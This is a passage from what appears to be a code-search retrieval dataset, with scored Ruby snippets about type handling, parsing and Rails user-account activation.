"0.4561167", "text": "def find_type_elements_except(type, nested_except = T.unsafe(nil), elements = T.unsafe(nil)); end", "title": "" }, { "docid": "9ccdea9f9fa4e4d07a2010805a6be63b", "score": "0.4545988", "text": "def type2\n return @type2 || data.type2\n end", "title": "" }, { "docid": "fac1fbabc5969a6f7c4f301da4bec17e", "score": "0.45436177", "text": "def naked_single\n each_empty_cell do |cell|\n vals = legal_values(*cell.pos)\n if vals.length == 1\n cell.val = vals.first\n return cell\n end\n end\n return nil\n end", "title": "" }, { "docid": "8b60955cee613e54d2eb825db7681e7f", "score": "0.45397323", "text": "def type\n _type rescue nil\n end", "title": "" }, { "docid": "0beec2afc074323cef4cd8eb3a825a92", "score": "0.45317602", "text": "def one(array)\n return array.first if array.one?\n\n raise SizeError,\n \"expected size to be exactly 1 but size was #{array.size}\"\n end", "title": "" }, { "docid": "c2b217fd2be600368b24449162fe84e1", "score": "0.45073533", "text": "def sole\n found, undesired = first(2)\n\n if found.nil?\n raise_record_not_found_exception!\n elsif undesired.present?\n raise ActiveRecord::SoleRecordExceeded.new(self)\n else\n found\n end\n end", "title": "" }, { "docid": "595a1bfef20d0102b9314f4c676b2f1d", "score": "0.4491881", "text": "def _typedef\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_structdef)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_sequencedef)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_uniondef)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_forwarddef)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_typedef unless _tmp\n return _tmp\n end", "title": "" }, { "docid": "9d594169cb446c65c8dde20366393bc8", "score": "0.44569114", "text": "def subtype\n return nil if @values[:subtype].nil?\n self.class.subtype @values[:subtype].to_sym\n end", "title": "" }, { "docid": "e856b987e31c4a8dca5055e0bef3b4f4", "score": "0.44394255", "text": "def expand_return_type(union_type)\n expand(union_type)\n return self\n end", "title": "" }, { "docid": "238eac2020567691ff6a40bde5bfde3d", "score": "0.44136086", "text": "def ensure_alt_is_simple_node_or_tree(alt_ast, element_ast, outer_alt_num)\n if (is_valid_simple_element_node(element_ast))\n next_ = element_ast.get_next_sibling\n if (!is_next_non_action_element_eoa(next_))\n ErrorManager.grammar_warning(ErrorManager::MSG_REWRITE_FOR_MULTI_ELEMENT_ALT, @grammar, next_.attr_token, outer_alt_num)\n end\n return\n end\n case (element_ast.get_type)\n when ANTLRParser::ASSIGN, ANTLRParser::PLUS_ASSIGN\n # labels ok on non-rule refs\n if (is_valid_simple_element_node(element_ast.get_child(1)))\n return\n end\n when ANTLRParser::ACTION, ANTLRParser::SEMPRED, ANTLRParser::SYN_SEMPRED, ANTLRParser::BACKTRACK_SEMPRED, ANTLRParser::GATED_SEMPRED\n # skip past actions\n ensure_alt_is_simple_node_or_tree(alt_ast, element_ast.get_next_sibling, outer_alt_num)\n return\n end\n ErrorManager.grammar_warning(ErrorManager::MSG_REWRITE_FOR_MULTI_ELEMENT_ALT, @grammar, element_ast.attr_token, outer_alt_num)\n end", "title": "" }, { "docid": "50641d1de736c62dc12733242fcbe3eb", "score": "0.44120508", "text": "def back_element_type(args)\n b = back_object(args)\n if b.respond_to? :element_type\n b.element_type\n end\n end", "title": "" }, { "docid": "fcdb7918c7f0a22dc717798c21047cb1", "score": "0.44086865", "text": "def subtype\n self.numeric_type\n end", "title": "" }, { "docid": "fcdb7918c7f0a22dc717798c21047cb1", "score": "0.44086865", "text": "def subtype\n self.numeric_type\n end", "title": "" }, { "docid": "18ba48369bdbb3a8fa75e07c7a1c8ca6", "score": "0.44030374", "text": "def type\n self['type']['type']\n end", "title": "" }, { "docid": "18d3d0bdd0facacc6ed6611734156591", "score": "0.4395316", "text": "def tuple_valued?()\n @definition.type.named_type?\n end", "title": "" }, { "docid": "f5fc09f3a556e3fafaf4cfd6d85cc0ec", "score": "0.43809193", "text": "def validate_single_primary_kind\n return if templates.size <= 1\n @errors << \"Only use a maximum of 1 template with containers, found: #{templates.size}\"\n end", "title": "" }, { "docid": "44ce11fd21b5f91fb9ee7bf57c923906", "score": "0.43775916", "text": "def first_expression_child\n\n @raw_representation[2].find { |c| c.is_a?(Array) }\n end", "title": "" }, { "docid": "b726ed50fe5a30c17868c33f3fb11cda", "score": "0.43702382", "text": "def value!\n raise UnwrapError, self\n end", "title": "" }, { "docid": "381a37da68a5f1b8beabce32b0ad60df", "score": "0.4347445", "text": "def lastElementOfType(elementType)\n\t\tlastElementMatchingTypes([elementType])\n\tend", "title": "" }, { "docid": "41489794d0f893c5fb5e82490f56318b", "score": "0.43173468", "text": "def dotted_typechild(name)\n names=name.split('.')\n context = self\n while context and names.size > 1\n context = context.child_named(names.shift) \n end\n return context.typechild(names[0]) if context\n end", "title": "" }, { "docid": "3c68c4a9056f73c52cb667d0595c2fe9", "score": "0.4313095", "text": "def root_type\n raise \"subclass responsibility\"\n end", "title": "" }, { "docid": "ea945e507a1fb1df55d129dd2526ba78", "score": "0.43090874", "text": "def find_basic_type(key)\n only_basic_type(key) || key\n end", "title": "" }, { "docid": "70e0ad96fdc47f5524045056892e9901", "score": "0.43046913", "text": "def long_dtype\n Generator::DTYPES.select { |x| x.type == self.type }.last\n end", "title": "" }, { "docid": "7fc3c1431719544297ba5419457e252e", "score": "0.4301026", "text": "def dataOfType(type, error:outError)\n outError.assign(NSError.errorWithDomain(NSOSStatusErrorDomain, code:-4, userInfo:nil))\n nil\n end", "title": "" }, { "docid": "3c50f99971dfd74beccd09c4cd54d2ab", "score": "0.4277682", "text": "def return_type_from_tag(member_tag)\n member_tag && member_tag.types ? member_tag.types : \"Object\"\n end", "title": "" }, { "docid": "3acc5ba44097a018abd3e1f779d9cdb2", "score": "0.42516756", "text": "def type_expr\n @type_expr || (superclass.respond_to?(:type_expr) ? superclass.type_expr : nil)\n end", "title": "" }, { "docid": "1f8796e5557cc5e172c0d6565fde1429", "score": "0.42471623", "text": "def peek_next_type\n peek_next.type\n end", "title": "" }, { "docid": "1606ed558257d2b06c45e9814fc41ac7", "score": "0.42459342", "text": "def parse_single_token cur_tok\n\n\t\tcase cur_tok.type\n\t\twhen \"Digit\"\n\t\t\tif cur_tok.value.include? \".\"\n\t\t\t\treturn Term.new(cur_tok.line, cur_tok.col, magnitude: cur_tok.value.to_f)\n\t\t\telse\n\t\t\t\treturn Term.new(cur_tok.line, cur_tok.col, magnitude: cur_tok.value.to_i)\n\t\t\tend\n\t\twhen \"Identifier\"\n\t\t\treturn Reference.new(cur_tok.line, cur_tok.col, cur_tok.value)\n\t\twhen \"Keyword\"\n\t\t\tif cur_tok.value == \"true\" or cur_tok.value == \"false\"\n\t\t\t\treturn Boolean.new(cur_tok.line, cur_tok.col, cur_tok.value == \"true\")\n\t\t\telse\n\t\t\t\tthrow_error(\"Misplaced keyword.\", cur_tok)\n\t\t\tend\n\t\twhen \"Operator\"\n\t\t\treturn Operator.new(cur_tok.line, cur_tok.col, cur_tok.value)\n\t\twhen \"Punctuation\"\n\t\t\tthrow_error(\"Misplaced Punctuation.\", cur_tok)\n\t\twhen \"String\"\n\t\t\tthrow_error(\"Strings are not implemented in this parser.\", cur_tok)\n\t\twhen \"EOF\"\n\t\t\tthrow_error(\"EOF occured when parsing single token (the lexer & parser aren't talking to each other properly).\", cur_tok)\n\t\telse\n\t\t\tthrow_error(\"parse_single_token failed to identify the type of the token (the lexer & parser aren't talking to each other properly).\", cur_tok)\n\t\tend\n\tend", "title": "" }, { "docid": "2b2a26f225ea40aeeba234600d9ccf1c", "score": "0.42377", "text": "def type\n raise UnimplementedError\n end", "title": "" }, { "docid": "47ecfaec6c09c89d551115cbd3f78c4b", "score": "0.42304975", "text": "def return_type_from_tag(member_tag); end", "title": "" }, { "docid": "b5ffc33a7ea5b6dfda7af0a5b90bcd01", "score": "0.42290354", "text": "def returned_type(defn)\n single_returned_type(defn) or conditional_returned_types(defn)\n end", "title": "" }, { "docid": "b588964c37c573e680e5539d8b4c9a2a", "score": "0.42187336", "text": "def type\n ty = self.class.name.split('::').last.downcase\n (ty =~ /element$/) ? ty[0...-7] : ty\n end", "title": "" }, { "docid": "1002b5ab41ebf36f59dfad1d4136c6de", "score": "0.4214413", "text": "def single_returned_type(defn)\n returns = defn[3][1].rest.select do |child|\n child[0..2] == s(:call, nil, :returns)\n end\n if returns.count > 1\n raise 'Invalid stdlib class method definition: ' +\n \"#{@symbol_table.cclass}.#{defn[1]}\"\n elsif returns.count == 1\n returns[0][3][1][1]\n end\n end", "title": "" }, { "docid": "6f09841bdd8a28408ef3b188a4483942", "score": "0.42127207", "text": "def type\n @error['type']\n end", "title": "" }, { "docid": "2da60995129f747d64ba7621de315402", "score": "0.41848364", "text": "def find_typedef(node = self.code)\n return node if node.is_a?(RbGCCXML::FundamentalType)\n\n found = last_found = node\n\n if !node._disable_typedef_lookup?\n while found\n last_found = found\n typedef = RbGCCXML::NodeCache.all(\"Typedef\").select {|t| t.attributes[\"type\"] == found.attributes[\"id\"]}.first\n\n # Some typedefs have the access attribute, some don't. We want those without the attribute\n # and those with the access=\"public\". For this reason, we can't put :access => \"public\" in the\n # query above.\n found = (typedef && typedef.public?) ? typedef : nil\n end\n end\n\n if node == self.code && last_found != node\n Logger.debug \"Found Typedef #{last_found.qualified_name} for #{node.qualified_name}\"\n end\n\n last_found\n end", "title": "" }, { "docid": "20d06074d9609f1487fac0c32051e17a", "score": "0.41731915", "text": "def fix_type(type, single = false)\n if single\n ensure_type(type)\n else\n type.nil? ? DEFAULT_TYPES.map(&:constantize) : (!type.is_a?(Array) ? [type] : type)\n end\nend", "title": "" }, { "docid": "163af74dd1f3bd9666316d651a070d4e", "score": "0.41715324", "text": "def value_type\n @type.value_type\n end", "title": "" }, { "docid": "167531ba8dafa8d9385cf783cd184c72", "score": "0.41706088", "text": "def isUnionType(obj)\n return obj.kind_of? FFI::Union\n end", "title": "" }, { "docid": "12c74e8e95a2ec6f0f3d239c2316cec0", "score": "0.41582718", "text": "def multiple?(type)\n (type.is_a?(Array) || type.is_a?(Set)) && type.size > 1\n end", "title": "" }, { "docid": "8984d61d5124a11152dab4c6e368ed89", "score": "0.41351947", "text": "def has_one(name, type, options = {})\n element name, type, { single: true }.merge(options)\n end", "title": "" }, { "docid": "5cf31e9e3558675dd776713edb762548", "score": "0.41195267", "text": "def dataOfType(type, error:outError)\n\t\toutError.assign(NSError.errorWithDomain(NSOSStatusErrorDomain, code:-4, userInfo:nil))\n\t\tnil\n\tend", "title": "" }, { "docid": "deeaaa2fb86dec201930d94a86c23ea2", "score": "0.41050825", "text": "def get_single_element\n i = 0\n while i < (@bits.attr_length << LOG_BITS)\n if (member(i))\n return i\n end\n i += 1\n end\n return Label::INVALID\n end", "title": "" }, { "docid": "1eacaf07db2e6ba899196b4ceb6fc6d0", "score": "0.4104863", "text": "def get(*nested_field_names, &b)\n if nested_field_names.size == 1\n field_name = nested_field_names.first\n field = self.class.field_for_name(field_name)\n raise ArgumentError.new unless field\n unless self.value_for_tag?(field.tag)\n return b ? b.call : nil\n end\n return self.value_for_tag(field.tag)\n end\n last_proto = nested_field_names[0..-2].inject(self) do |sub_proto, ifield_name|\n sub_field = sub_proto.class.field_for_name(ifield_name)\n raise ArgumentError.new unless sub_field\n raise ArgumentError.new unless sub_field.is_a?(ProtocolBuffers::Field::MessageField)\n unless sub_proto.value_for_tag?(sub_field.tag)\n return b ? b.call : nil\n end\n sub_proto.value_for_tag(sub_field.tag)\n end\n last_field_name = nested_field_names.last\n last_field = last_proto.class.field_for_name(last_field_name)\n unless last_proto.value_for_tag?(last_field.tag)\n return b ? b.call : nil\n end\n last_proto.value_for_tag(last_field.tag)\n end", "title": "" }, { "docid": "b0a68763951b6705a133f31454050688", "score": "0.41004866", "text": "def type(member)\n\n\n\n # 332:7: type_name[member] ( array_brackets[member] )*\n type_name(member)\n\n # 332:25: ( array_brackets[member] )*\n while true\n alt44 = 2\n # ()* loopback of 332:25: ( array_brackets[member] )*\n look_ahead44_0 = look_ahead(1)\n if look_ahead44_0 == :LEFT_SQUARE_BRACKET \n alt44 = 1\n end\n case alt44\n when 1\n # 332:26: array_brackets[member]\n array_brackets(member)\n\n else\n break\n end\n end\n\n\n\n end", "title": "" }, { "docid": "0c8c19c3cc75d8e3064c509908388999", "score": "0.40998074", "text": "def refute_kind_of(cls, obj, msg = T.unsafe(nil)); end", "title": "" }, { "docid": "50c58014b85a63a35b807979546b9f43", "score": "0.40925378", "text": "def parseSimpleType(elem, anonName=nil)\n valid = false\n if not elem.attributes.has_key?(\"name\") then\n throw \"anonName argument is nil\" if not anonName\n else\n name = elem.attributes[\"name\"]\n end\n\n restrictElem = elem.elements[\"xs:restriction\"]\n throw \"No restriction found for simpleType: #{elem}\" if not restrictElem\n case restrictElem.attributes[\"base\"]\n when \"xs:string\"\n #anonymous or not does not really indicate whether it is an enumerated type\n #refactor this too.\n if not elem.attributes.has_key?(\"name\") then\n enums=Array.new()\n throw \"No enumerations in simpleType #{elem}\" if not restrictElem.elements[\"xs:enumeration\"]\n\n elem.elements.each(\"xs:restriction/xs:enumeration\"){|e|\n throw \"Unknown SimpleType:enumeration construct #{e}\" if not e.attributes.has_key?(\"value\")\n enums.push(e.attributes[\"value\"])\n }\n if @verbose then\n print \"#{anonName} <= \"\n enums.each{|a|\n print a, \" \"\n }\n puts\n end\n #enum = \"#{anonName}<=\"\n enum = \"\"\n enums.each{|a|\n if enum == \"\" then\n enum = \"#{a}\"\n else\n enum = enum + \", \" + \"#{a}\"\n end\n }\n throw \"anonymous SimpleType #{anonName} already declared before as #{@types[anonName]} and now as #{enum}\" if @types.has_key?(anonName)\n @types[anonName]=enum\n return {anonName, anonName}\n else # has name attribute\n print(\"simpleType of \", elem.attributes[\"name\"], \"\\n\") if @verbose\n throw \"SimpleType #{name} already declared before as #{@types[name]} and now as #{name}\" if @types.has_key?(name)\n @types[name]=name\n return {name, name}\n #mapXMLToCpp(elem.attributes[\"name\"])\n end\n else\n @types[name]=restrictElem.attributes[\"base\"]\n return {name, @types[name]}\n end\n end", "title": "" }, { "docid": "f30befd3d1dc7c87c5589108f745b7d0", "score": "0.40884393", "text": "def test_use_new_field_in_union_backward_fail\n a = V2::DeviceEvent.new()\n a.payload = V2::DeviceEventPayload.new()\n a.payload.deleted = lambda {\n e = V2::DeviceDeleted.new()\n e.device_name = \"foo\"\n e.reason = \"because\"\n return e\n }.call\n a.write(@protocol)\n b = V1::DeviceEvent.new()\n assert_raise(StandardError) { b.read(@protocol) }\n end", "title": "" }, { "docid": "1998c8bd28dcb4eecc36738f40c7c1b2", "score": "0.40847862", "text": "def foreign_type\n @reflection.foreign_type if polymorphic?\n end", "title": "" }, { "docid": "48c87344d7f583c668a621617ac25d23", "score": "0.40834078", "text": "def get_if_kind value, kind\n value.kind_of?(kind) && value || nil\n end", "title": "" }, { "docid": "48c87344d7f583c668a621617ac25d23", "score": "0.40834078", "text": "def get_if_kind value, kind\n value.kind_of?(kind) && value || nil\n end", "title": "" }, { "docid": "bd6a9b451ec11f3860588d726f688cbb", "score": "0.4082513", "text": "def try_finish_single_value_class\n if self.subset.any?\n v0 = self.subset[0][@tree.class_var]\n self.subset.slice(1...-1).reduce(v0) do |memo, row|\n if memo != row[@tree.class_var]\n return nil\n else\n memo\n end\n end\n else\n nil\n end\n\n end", "title": "" }, { "docid": "92d477cf8a78e838c8eea2d40e28abe2", "score": "0.40667218", "text": "def raise_or_return(value)\n unless value.nil? || value.is_a?(::Array)\n raise Mongoid::Errors::InvalidType.new(::Array, value)\n end\n value\n end", "title": "" }, { "docid": "c8349c832575f564592e5dac64cee271", "score": "0.4066568", "text": "def type_for(type) \n case\n when type.nil?\n Spira::Types::Any\n when type.is_a?(Symbol) || type.is_a?(String)\n type\n when !(Spira.types[type].nil?)\n Spira.types[type]\n else\n raise TypeError, \"Unrecognized type: #{type}\"\n end\n end", "title": "" }, { "docid": "dc322a81dca4f0163889cc3e6e875109", "score": "0.40574786", "text": "def type_a\n @type_a ||= type[2]\n end", "title": "" }, { "docid": "c269f7b3f986e878bb9e97f8d3aa92e7", "score": "0.40570793", "text": "def ensure_type(type)\n type.nil? ? Level : (type.is_a?(Array) ? (type.include?(Level) ? Level : type.flatten.first) : type)\nend", "title": "" }, { "docid": "024cf34505364436b73e9df5cb8b6b31", "score": "0.40566912", "text": "def __value\n unless defined?(@value)\n __get_value\n end\n\n if @value.is_a?(WrappedException)\n ::Kernel.raise @value\n end\n\n @value\n end", "title": "" }, { "docid": "61da18a19076d05efdd807cb57cce532", "score": "0.40509334", "text": "def nested_t_field_or_nil(level1, level2)\n if self[level1]\n self[level1][level2] ? self[level1][level2]['$t']: nil\n end\n end", "title": "" }, { "docid": "2adfed5b8990d5ac64c2e2e676e70ec4", "score": "0.40503386", "text": "def type_check(type = nil)\n children {|child| type = child.type_check(nil)}\n return type\n end", "title": "" }, { "docid": "a65bbbc84bbc0c1af50a15875178b2e4", "score": "0.40494707", "text": "def code\n\t\tself.AsArray[0].type_code\n\tend", "title": "" }, { "docid": "9f3d33278d59b8876839305bdf38b2df", "score": "0.40464842", "text": "def structure_single\n structure_repeat.first || []\n end", "title": "" }, { "docid": "0a7187060a68c2a3594e846dcfb0f70e", "score": "0.40321937", "text": "def exon_type_long\n TYPES[exon_type]\n end", "title": "" }, { "docid": "3040936efe7928f8be4249435117b402", "score": "0.40288737", "text": "def pione_model_type\n type = @values.empty? ? TypeAny : @values.first.pione_model_type\n TypeList.new(type)\n end", "title": "" }, { "docid": "de80e38b2d95670cd462b09be7aa273b", "score": "0.40209472", "text": "def type_of(member)\n self.class.type_of(member)\n end", "title": "" }, { "docid": "2cff463c863d0de1394c8c046f37aec7", "score": "0.4017302", "text": "def variety(type: T.unsafe(nil)); end", "title": "" }, { "docid": "d35069bc2f96dfc72a7bf7ea03f874c8", "score": "0.40112817", "text": "def cast(object, type)\n CORE.grep(type)[0] || :self\n end", "title": "" }, { "docid": "12f57d514ca79b86cc59c6fae3734f69", "score": "0.4010731", "text": "def type_of literal\n case literal.sexp_type\n when :true, :false\n 'unsigned char'\n when :array\n \"#{ type_of(literal.sexp_body.first) }[#{ literal.sexp_body.count }]\"\n when :lit\n case literal.sexp_body.first.class.name\n when 'NilClass', 'Fixnum', 'Bignum'\n 'signed long'\n when 'Float'\n 'float'\n else\n raise \"Unsupported type #{literal.sexp_body.first.class.name} used: #{literal.sexp_body.first}\"\n end\n end\n end", "title": "" }, { "docid": "2e5183c74cb210c4784391201a203903", "score": "0.40072185", "text": "def child(type=nil)\n c = children(type)[0]\n end", "title": "" }, { "docid": "e7c70ee5aaf12f045a0c0ca7dbcf9aff", "score": "0.40028667", "text": "def unwrap(value)\n if value.instance_of?(Array) && !value.instance_of?(Hash)\n value.first\n else\n value\n end\n end", "title": "" }, { "docid": "4032df354aff56fa802b491cfe613316", "score": "0.3997227", "text": "def type_code\n type.try(:code)\n end", "title": "" }, { "docid": "91e02761da68edbb3d2c84322366c056", "score": "0.39924166", "text": "def node_type_for_basic_connection(type)\n type.unwrap\n end", "title": "" }, { "docid": "dbf3d72fd984b9da08ad99846159e146", "score": "0.39894548", "text": "def multi\n first.is_a?(::Symbol) || first.is_a?(::String) ? [ self ] : self\n end", "title": "" }, { "docid": "b9b461e5069c7dccc9cfaeb5573c7cf7", "score": "0.39880738", "text": "def one\n if size == 0\n raise \"Could not find any records\"\n elsif size > 1\n raise \"Search returned multiple records when only one was expected\"\n else\n first\n end\n end", "title": "" }, { "docid": "d8f7159ccbb7d0f46b8d3a74d6cb7a76", "score": "0.3981391", "text": "def has_one(name, type, qualified_name)\n set_type(qualified_name, type)\n attribute name, qualified_name\n end", "title": "" }, { "docid": "5e5f3469f40fecfe8119babb0126b8cb", "score": "0.39740768", "text": "def ruby_type_of(value, dry_sum_type)\n json_type_of_value = Types.json_type(value.class)\n\n walk_dry_sum(dry_sum_type) do |type|\n return type if json_type_of_value == Types.json_type(type.primitive)\n end\n end", "title": "" }, { "docid": "4f1d919b50746516026e511381b87294", "score": "0.39718106", "text": "def object_type\n @struct.type\n end", "title": "" }, { "docid": "21073af4d71cd5b274def14e08afa630", "score": "0.3970661", "text": "def parse_occurs(value)\n if value == 'unbounded'\n value\n else\n Integer(value || 1)\n end\n end", "title": "" }, { "docid": "73db310ae4dc268667fc9685b1904d4e", "score": "0.3968697", "text": "def type\n @exception.class.to_s\n end", "title": "" }, { "docid": "6cc3e37df2ea9c3f4a253e7e312a3648", "score": "0.39680701", "text": "def check\n set_superclasses!(@program.fclasses)\n @program.fclasses.each{|k, v| check_fclass(v)}\n type_expr!(@program.expr, {})\n return @program.expr.type\n end", "title": "" }, { "docid": "ae7e5e7185e920d4c14e09365745c972", "score": "0.39675832", "text": "def result\n @s.first[1] || t.default\n end", "title": "" }, { "docid": "96f6407aecf0602594a517422449a6f9", "score": "0.39642838", "text": "def single(sql, values = [])\n r = $db.exec_params(sql, values)\n return nil if r.ntuples == 0\n convert_to_ruby_types(r.first)\nend", "title": "" }, { "docid": "feffa3800f27d59f56a0acfd9fc963d1", "score": "0.39627078", "text": "def unpack\n Optional.new @container.container\n end", "title": "" }, { "docid": "3c394f6bd01fcf8fb63871188c7ee2c7", "score": "0.39618", "text": "def raise_or_value(value)\n value.is_a?(StandardError) ? raise(value) : value\n end", "title": "" }, { "docid": "6085ae6d4201e44b6904d03b9eb8db32", "score": "0.3961154", "text": "def error\n errors.first\n end", "title": "" }, { "docid": "595ec98acd87f4198da85dbd3ba38505", "score": "0.39608902", "text": "def _handle_nested_generic_return(returnType, genericReturnType, type_parameter_map, position)\n if genericReturnType.kind_of?(BiteScript::ASM::TypeVariable)\n type_parameter_map.get(genericReturnType.name)\n elsif genericReturnType.kind_of?(BiteScript::ASM::ParameterizedType)\n returnType = GenericType.new(returnType)\n expectedTypeParameters = returnType.jvm_type.type_parameters\n providedTypeParameters = genericReturnType.type_arguments\n if expectedTypeParameters && providedTypeParameters && expectedTypeParameters.size == providedTypeParameters.size\n expectedTypeParameters.each_index do |i|\n returnType.type_parameter_map.put(expectedTypeParameters[i].name, type_parameter_map.get(providedTypeParameters[i].name))\n end\n else\n raise ArgumentError, \"Type parameter mismatch: Expected #{expectedTypeParameters}, found #{providedTypeParameters}\"\n end\n returnType\n else\n returnType\n end\n end", "title": "" }, { "docid": "8a7bfab271358937ceffc3b845c52c94", "score": "0.39579868", "text": "def return a\n Right.new(a)\n end", "title": "" }, { "docid": "4527928d9a8845ad0b172155271ec037", "score": "0.3957346", "text": "def any ; return Subscriptable.new(:any ) end", "title": "" }, { "docid": "274cb4d923852639fecb585353c536a6", "score": "0.39546677", "text": "def container_element(type)\n val = text(data.at_xpath(\"/c/did/container[@type='#{type}']\"))\n \"#{type.capitalize} #{val.first}\" if val\n end", "title": "" }, { "docid": "5f44e27d378d8d876fad5670e325bc88", "score": "0.39424464", "text": "def sub_type\n has_content_type? ? header[:content_type].sub_type : nil rescue nil\n end", "title": "" }, { "docid": "9daf4a1d0a9834fbbfe7a56dbb1c3d91", "score": "0.39386338", "text": "def or_raise!\n self.value\n self\n end", "title": "" }, { "docid": "21bcb8f0a6e774912577d78d06b78fb8", "score": "0.39329734", "text": "def find_first_ancestor(type)\n ancestors.find{|a| a.is_a?(type) }\n end", "title": "" }, { "docid": "e84b5a06bc0e62bdd95a589f0e77eecf", "score": "0.39321738", "text": "def first_error_message\n errors.messages.values.flatten.first if errors.any?\n end", "title": "" }, { "docid": "84230e4add3745f1fda1290e23db2ab3", "score": "0.39307794", "text": "def simpleType( elem, context = XSDContext.new )\n composer = context.parent\n\n #puts \"IN simpleType - #{composer.inspect}\"\n if(composer.nil? )\n # SimpleType to store as high level Type\n\n if(elem.attributes['name'])\n parent = find_or_create_asset_and_root( elem.attributes['name'] )\n elsif\n # TODO - what should we do here ?\n puts \"#### TODO - SIMPLE TYPE WITH NO NAME : #{elem.inspect}\"\n end\n else\n if( elem.attributes['name'] )\n parent = ReadFromXSD::add_composer( composer.asset, elem.attributes['name'], composer)\n else\n parent = create_anonymous(composer)\n end\n end\n\n ctype = BasicType.multi_find_by_name( 'simpleType', 'xsd' ) unless ctype\n\n parent.create_composer_type( :klass => ctype ) if ctype\n\n next_context = XSDContext.new(parent)\n\n descend_tree( elem, next_context )\n end", "title": "" } ]
23de88cb7c3c2d2aa1678b2e92666612
ensure user account is active
[ { "docid": "36a0b0b6fd7b332b28aef6574d8e9be6", "score": "0.0", "text": "def active_for_authentication?\n super && !deleted_at\n end", "title": "" } ]
[ { "docid": "645b5be9fd22302a28e8e64a0ac2e825", "score": "0.7623216", "text": "def user_active!\n \t\tif current_user && current_user.active == false\n \t\t\tsign_out current_user\n \t\t\tredirect_to new_user_session_path, notice:\"You don't have permissions.\"\n \t\tend\n end", "title": "" }, { "docid": "30b6082afa091f5b4a82d1b922de7bcf", "score": "0.7489764", "text": "def check_user\n if current_user && current_user.disabled?\n sign_out current_user \n redirect_to root_path\n flash[:alert] = \"Your account is not activated yet. Please contact the administrator.\"\n end\n end", "title": "" }, { "docid": "8e1372bdc44d34be4811c0817fb8a63c", "score": "0.74126583", "text": "def force_activate\n @user = User.find(params[:id])\n if !@user.active?\n @user.force_activate!\n if @user.active? \n flash[:notice] = \"User activated\"\n else\n flash[:error] = \"There was a problem activating this user.\"\n end\n else\n flash[:notice] = \"User already active\"\n end\n redirect_to :action => 'index'\n end", "title": "" }, { "docid": "595b52239d4c3350839fbbf03f6c108a", "score": "0.7304887", "text": "def require_activated\n if current_user != nil\n if !current_user.activado? \n sign_out_and_redirect(current_user)\n flash[:error]=\"Usuario no existe [401]\"\n end \n end\n end", "title": "" }, { "docid": "b3d640939a7cc09363fd87b02c542405", "score": "0.7299145", "text": "def activate? #activates the users account once they have registered\n update_attributes(:activated => true)\n if self.activated\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "ad22aeeaca9876a6e612d1e4c8bbe33a", "score": "0.72907895", "text": "def activate\n unless user.activated?\n user.activated = true\n user.save!\n end\n end", "title": "" }, { "docid": "0c65e444d19956ef7f31852bcace2b4c", "score": "0.7264573", "text": "def active!\n self.update_attribute(:status, ConfigCenter::User::ACTIVE)\n end", "title": "" }, { "docid": "38bded733c652224a9d56314c500d3ac", "score": "0.72507876", "text": "def require_active_user\n unless current_user.active?\n flash[:error] = must_be_active!\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "11798356aab995f939d730fde650c3e9", "score": "0.72357404", "text": "def require_active_user\n unless current_logininfo && current_logininfo.status == UserStatus::ACTIVE\n flash[:notice] = \"帐号被锁定,请联系管理员!\"\n current_user_session.destroy\n redirect_to new_logininfo_sessions_url\n return false\n end\n end", "title": "" }, { "docid": "a67cda065025a5cd67bf175a4562b25b", "score": "0.7166931", "text": "def is_active_user?\n self.verified? && !self.marked_for_deletion && !self.suspended?\n end", "title": "" }, { "docid": "a67cda065025a5cd67bf175a4562b25b", "score": "0.7166931", "text": "def is_active_user?\n self.verified? && !self.marked_for_deletion && !self.suspended?\n end", "title": "" }, { "docid": "0c01de09d14f34a60b3902cbbb0f418c", "score": "0.7116535", "text": "def chk_inactive_user\n if current_user.present? && !current_user.is_active?\n reset_session\n\t flash[:notice]=\"Your account is de-activated\"\n redirect_to \"/users/sign_in\"\n\t return\n end\n end", "title": "" }, { "docid": "2f2744255988614c3343ef2667603f8b", "score": "0.711279", "text": "def active?\n (status == ConfigCenter::User::ACTIVE)\n end", "title": "" }, { "docid": "72d8d66575d954c3bd772c1b3991c804", "score": "0.7093245", "text": "def activate\n session[:action_accessed?] = true\n @conditions = {:email => params[:user][:email],\n :voter_id => params[:user][:voter_id],\n :birth_date => Date.civil( params[:user][:\"birth_date(1i)\"].to_i,\n params[:user][:\"birth_date(2i)\"].to_i,\n params[:user][:\"birth_date(3i)\"].to_i )}\n @user = User.find(:first, :conditions => @conditions)\n if @user.activated?\n flash[:notice] = 'User account already activated!'\n render :text => %Q{ You have already activated your account, please check your email. }\n else\n @user.toggle!(:activated)\n key = generate_code\n PendingBallot.create(:ballot_key => key, :voter_id => @user.voter_id)\n flash[:notice] = 'User account activated!'\n render :text => 'Thank you. An email had been sent to your account that contains the link to your ballot form.'\n end\n rescue\n raise 'RecordNotFound: Impossible to happen in normal usage.'\n end", "title": "" }, { "docid": "7aebe46e9bc249e88e9d8952d1a95a5d", "score": "0.70696914", "text": "def active_user\n if !current_user.isactive?\n redirect_to root_path, status: 302, notice: \"You have been inactivated from the system you may want to email an admin directly if you believe this to be in error.\"\n end\n end", "title": "" }, { "docid": "6f9ee6e0f2808af258130fca8e600e48", "score": "0.70615005", "text": "def active_for_authentication?\n # Log it\n unless self.active\n Rails.logger.info \"Attempted access to in-active account for user with email #{email} at #{Time.now}\"\n end\n\n super && self.active\n end", "title": "" }, { "docid": "a1710803bd4dfd3ac497aebc88f36ced", "score": "0.70467126", "text": "def account_active?\n if self.is_super_admin?\n activation_code.nil? && user_status_active?\n else\n activation_code.nil? && user_status_active? && user_department_active?\n end\n end", "title": "" }, { "docid": "ac4f499cecddd3971e281f1cd5a71de6", "score": "0.7046412", "text": "def registered_user?\n active?\n end", "title": "" }, { "docid": "891b773219694a714c6442ba9653cf5b", "score": "0.70130676", "text": "def active_for_authentication?\n super && self.status == USER_STATUS_ACTIVE\n end", "title": "" }, { "docid": "de2b79996462275c1802a12ba481ee1e", "score": "0.69790554", "text": "def is_activated\n unless current_user.is_activated?\n flash[:danger] = \"You must first activate your account\"\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "6c0f97753e345126f429c635f0c1d027", "score": "0.69739777", "text": "def activate\n @user = User.find(params[:id])\n if @user == current_user\n flash[:error] = \"Sorry, cannot activate/deactivate currently logged in admin user, ask another admin to do 